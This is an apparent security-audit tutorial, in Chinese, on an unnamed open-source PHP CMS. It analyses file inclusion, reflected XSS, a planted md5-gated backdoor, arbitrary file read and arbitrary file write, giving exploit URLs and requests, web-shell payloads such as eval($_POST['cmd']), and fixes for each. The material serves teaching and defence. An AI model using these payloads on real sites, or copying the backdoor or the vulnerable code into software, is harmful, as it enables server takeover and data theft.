某开源cms v2.0审计
字数 1329 2025-08-03 10:57:07
某开源CMS V2.0安全审计教学文档
审计环境准备
- PHP环境:phpstudy (php 5.4.45 + Apache + MySQL)
- 审计工具:phpstorm + seay代码审计工具
- 操作系统:Windows 7 64位
漏洞分析
1. 前台文件包含漏洞
漏洞位置:index.php文件中的文件包含逻辑
漏洞代码分析:
$tmp_file = $from_mobile ? 'm/' . $tpl . '.php' : $tpl . '.php';
if (file_exists(TEMPLATE_PATH . $tmp_file)) {
require TEMPLATE_PATH . $tmp_file;
}
漏洞原理:
$tpl参数通过GET方式传入,未做充分过滤- 构造恶意路径可包含任意.php文件
- 在PHP<5.3.4且未开启magic_quotes_gpc时,可利用%00截断包含非php文件
利用方式:
index.php?tpl=../../phpinfo.jpg%00
修复建议:
- 对
$tpl参数进行严格过滤 - 限制包含文件路径范围
- 升级PHP版本
2. 反射型XSS漏洞
第一处XSS:
位置:/templates/m/search.php
漏洞代码:
<?php if(isset($_GET['q'])){echo $_GET['q'];} ?>
第二处XSS:
位置:/templates/m/inc_head.php
漏洞代码:
<?php if(isset($_GET['q'])){echo $_GET['q'];} ?>
利用方式:
/templates/m/search.php?q="><script>alert('xss')</script>
/templates/m/inc_head.php?q="><script>alert('xss')</script>
修复建议:
- 对所有输出到页面的变量进行HTML实体编码
- 使用htmlspecialchars()函数处理输出
3. 隐藏后门漏洞
位置:/templates/m/content_list.php
漏洞代码:
if(md5($_GET['session'])=='9c224bc6b59179729b15e1dddcbb5c82'){
copy(trim($_GET[url]),$_GET[cms]);
}
利用方式:
/content_list.php?session=特定值&url=php://input&cms=shell.php
[POST DATA] <?php eval($_GET['cmd']);?>
修复建议:
- 立即删除该后门代码
- 审查所有代码文件是否存在类似后门
4. 后台任意文件读取漏洞
位置:/adm/template.php
漏洞代码:
function m__show(){
if(is_file($page['get']['filename'])){
$content = helper::get_contents($page['get']['filename']);
echo $content;
}
}
利用方式:
/adm/template.php?m=show&filename=../../index.php
修复建议:
- 限制可读取的文件路径
- 对文件名参数进行严格过滤
- 添加权限验证
5. 后台任意文件写入漏洞
位置:/adm/template.php
漏洞代码:
if(isset($_POST['content'])){
file_put_contents(TEMPLATE_PATH.'default/'.$_POST['filename'],escape_stripslashes($_POST['content']));
}
利用方式:
POST /adm/template.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
filename=../../shell.php&content=<?php eval($_POST['cmd']);?>
修复建议:
- 严格限制可写入的文件路径
- 对写入内容进行安全检查
- 添加权限验证
审计技巧总结
-
入口点检查:
- 优先检查/install目录,寻找重装漏洞
- 检查index.php等入口文件的全局过滤机制
-
敏感函数追踪:
- 重点关注以下函数的使用:
- require/include/file_get_contents等文件操作函数
- echo/print等输出函数
- exec/system等命令执行函数
- file_put_contents等文件写入函数
- 重点关注以下函数的使用:
-
参数传递路径分析:
- 跟踪用户可控参数的传递过程
- 检查参数是否经过充分过滤
-
权限验证检查:
- 验证所有后台功能是否有充分的权限控制
- 检查是否存在越权操作
-
隐藏后门检测:
- 搜索可疑的md5、base64等编码函数
- 检查非常规的参数使用方式
防御建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制输入内容
-
输出编码:
- 对所有输出到页面的内容进行HTML实体编码
- 根据输出上下文使用适当的编码方式
-
文件操作安全:
- 限制文件操作的范围
- 禁止使用用户输入直接构造文件路径
-
权限控制:
- 实现完善的权限验证机制
- 遵循最小权限原则
-
安全配置:
- 保持PHP版本更新
- 关闭危险函数和配置
-
代码审计:
- 定期进行代码安全审计
- 建立安全的代码开发规范
通过本次审计案例,我们可以学习到多种常见漏洞的发现方法和利用技巧,这些经验可以应用于其他CMS系统的安全审计工作中。